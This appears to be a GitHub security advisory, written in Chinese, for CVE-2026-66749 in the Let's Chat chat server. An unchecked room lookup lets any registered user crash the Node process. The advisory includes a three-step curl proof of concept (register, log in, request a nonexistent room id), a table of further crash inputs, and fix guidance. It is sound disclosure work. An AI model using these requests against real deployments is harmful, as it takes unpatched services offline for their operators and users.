theopaid/CVE-2026-66749-Unchecked-Room-Lookup-Leads-to-Server-Crash-Let-s-Chat-
GitHub: theopaid/CVE-2026-66749-Unchecked-Room-Lookup-Leads-to-Server-Crash-Let-s-Chat-
针对 Let's Chat 聊天应用的 CVE-2026-66749 安全通告,揭示了因未校验房间查询结果导致的空指针解引用漏洞,任意登录用户可通过单个 HTTP 请求使服务器进程崩溃。
Stars: 0 | Forks: 0
# 安全通告:未校验的房间查询导致服务器崩溃 (Let's Chat)
**分配的 CVE ID:** CVE-2026-66749
## 摘要
任何已登录的账户只需发送一个 HTTP 请求即可关闭 Let's Chat 服务器进程。
`GET /messages` 接收一个 `room` 参数,通过 id 查询该房间,然后在未检查查询是否返回任何结果的情况下调用结果对象的方法。发送一个有效的 24 字符十六进制字符串但不属于任何房间的 id,将会在 Mongoose callback 中抛出 `TypeError` 异常。Express 只能捕获在 handler 内部同步抛出的异常,因此该异常会作为 uncaught exception 传递给 Node,导致进程退出。
## 受影响版本
仓库 URL:https://github.com/sdelements/lets-chat
从 0.4.0 版本(commit `84981a6`,2015 年 2 月 21 日,该版本引入了 `canJoin` 调用)到最终发布版本 0.4.8 均受影响。目前没有任何已修复的版本。
已在 commit `617207f` 的 0.4.8 版本以及仍可公开拉取的 `docker.io/sdelements/lets-chat:latest`(0.4.7)上确认该漏洞。
## 分类
CWE-476: NULL Pointer Dereference,导致 CWE-248 Uncaught Exception 和 CWE-400 Uncontrolled Resource Consumption。
CVSS 4.0 基础得分 7.1(High)
`CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N`
## 威胁模型
攻击者需要一个普通用户账户以及访问 HTTP 端口的网络权限。他们不需要拥有或加入任何房间、知道任何已存在的房间 id,也不需要拥有任何提升的权限角色。
在默认安装中,账户要求非常容易满足,因为 `auth.local.enableRegistration` 在 `defaults.yml` 中默认设置为 `true`,所以任何能访问到登录页面的人都可以创建一个账户,然后发送该请求。
无论是 `Procfile`(`web: npm start`)还是 `docker/docker-compose.yml` 都没有配置 supervisor 或重启策略,因此在标准部署中,只需一个请求就会使服务瘫痪,直到运维人员手动重启。在运维人员添加了进程监控的情况下,攻击者只需简单地重复发送该请求即可。
## 技术细节
该路由没有注册房间校验 middleware。`app/controllers/messages.js:25-32`:
```
app.route('/messages')
.all(middlewares.requireLogin)
.get(function(req) {
req.io.route('messages:list');
})
.post(function(req) {
req.io.route('messages:create');
});
```
对比 `app/controllers/messages.js:34-41`,针对特定房间作用的变体确实添加了 `middlewares.roomRoute`,它会在房间不存在时解析房间并返回 404:
```
app.route('/rooms/:room/messages')
.all(middlewares.requireLogin, middlewares.roomRoute)
```
因此在 `/messages` 上,`room` 的值在未经验证的情况下到达了 manager。
`app/core/messages.js:118-129`:
```
Room.findById(options.room, function(err, room) {
if (err) {
console.error(err);
return cb(err);
}
var opts = {
userId: options.userId,
password: options.password
};
room.canJoin(opts, function(err, canJoin) { // line 129: room may be null
```
当 id 转换正常但没有匹配到任何 document 时,`Model.findById` 会以 `(null, null)` 回调。由于没有 `if (!room)` 的保护,第 129 行会对 null 进行解引用。
观察到的输出:
```
events.js:174
throw er; // Unhandled 'error' event
TypeError: Cannot read property 'canJoin' of null
at /usr/src/app/app/core/messages.js:129:14
at model.Query. (/usr/src/app/node_modules/mongoose/lib/model.js:4093:16)
```
## 复现
在端口 5000 上的标准安装环境下,不进行任何配置更改:
```
BASE=http://localhost:5000
# 1. 创建账户。默认开启自助注册。
curl -s -X POST $BASE/account/register \
-H 'Content-Type: application/json' \
-d '{"username":"mallory","email":"mallory@example.com",
"password":"Passw0rd!23","password-confirm":"Passw0rd!23",
"firstName":"M","lastName":"M","displayName":"M"}'
# 2. 登录并保留 session cookie。
curl -s -c cookie.txt -X POST $BASE/account/login \
-H 'Content-Type: application/json' \
-d '{"username":"mallory","password":"Passw0rd!23"}'
# 3. 请求不存在的 room 的 messages。
curl -s -b cookie.txt "$BASE/messages?room=507f1f77bcf86cd799439011"
```
第 3 步没有返回任何 body,并且 curl 以退出代码 52 退出(服务器返回空回复)。服务器进程已经消失。任何长度为 24 个十六进制字符且不匹配任何房间的 id 均可生效。
## 同类缺陷的其他实例
`express.oi` 将每个 `app.io.route(...)` key 注册为普通的 `socket.on(...)` handler(位于 `node_modules/express.oi/lib/index.js` 的 `initRoutes` 中)。因此,经过身份验证的 socket.io 客户端可以直接调用这些 handler,从而跳过包含 `roomRoute` 在内的 Express middleware 链。这也移除了 Express 的 try/catch,因此原本在 HTTP 请求中会导致 500 错误的同步抛出异常,在 socket.io 中会直接杀死进程。
以下每一种情况也都会导致进程终止。已全部确认。
| 访问途径 | 输入 | 抛出异常位置 |
| --- | --- | --- |
| HTTP 和 socket.io | `messages:list`,`room` 设置为不存在的 id | `app/core/messages.js:129` |
| HTTP 和 socket.io | `files:list`,`room` 设置为不存在的 id | `app/core/files.js:167` |
| socket.io | `rooms:get` 使用不存在的 id,或不提供 id | `app/core/rooms.js:213` 通过 `:234` |
| socket.io | `rooms:users` 不提供 room | `app/core/rooms.js:248` |
| socket.io | `rooms:join` 不提供 id | `app/core/rooms.js:248` |
| socket.io | `messages:list` 中 `expand` 作为数组 | `app/core/messages.js:97` |
| socket.io | `files:list` 中 `expand` 作为数组 | `app/core/files.js:139` |
| socket.io | `users:get` 中 `id` 作为 object | `app/models/user.js:139` |
## 修复建议
为查询添加保护。在 `app/core/messages.js:118` 和 `app/core/files.js:156` 中:
```
Room.findById(options.room, function(err, room) {
if (err) {
console.error(err);
return cb(err);
}
if (!room) {
return cb(null, []);
}
...
```
`app/core/rooms.js:234` 在调用 `sanitizeRoom` 之前也需要进行同样的处理,并且 `app/core/rooms.js:248` 应该拒绝缺失或非字符串类型的 `options.identifier`。
进行两项更改即可从根源上消除此类问题,而不仅仅是修补这些特定实例。首先,在 controller 边界处强制转换并校验假定 为 string 的查询参数(`expand`、`room`、`id`、`take`、`skip`)。其次,将 socket.io 的 handler 分发包裹在 try/catch 中,并附加一个 `process.on('uncaughtException')` handler,这样单个错误请求就会降级为错误响应,而不是导致服务器停止运行。
标签:GNU通用公共许可证, MITM代理, Node.js, 即时通讯, 拒绝服务, 漏洞公告, 请求拦截, 配置错误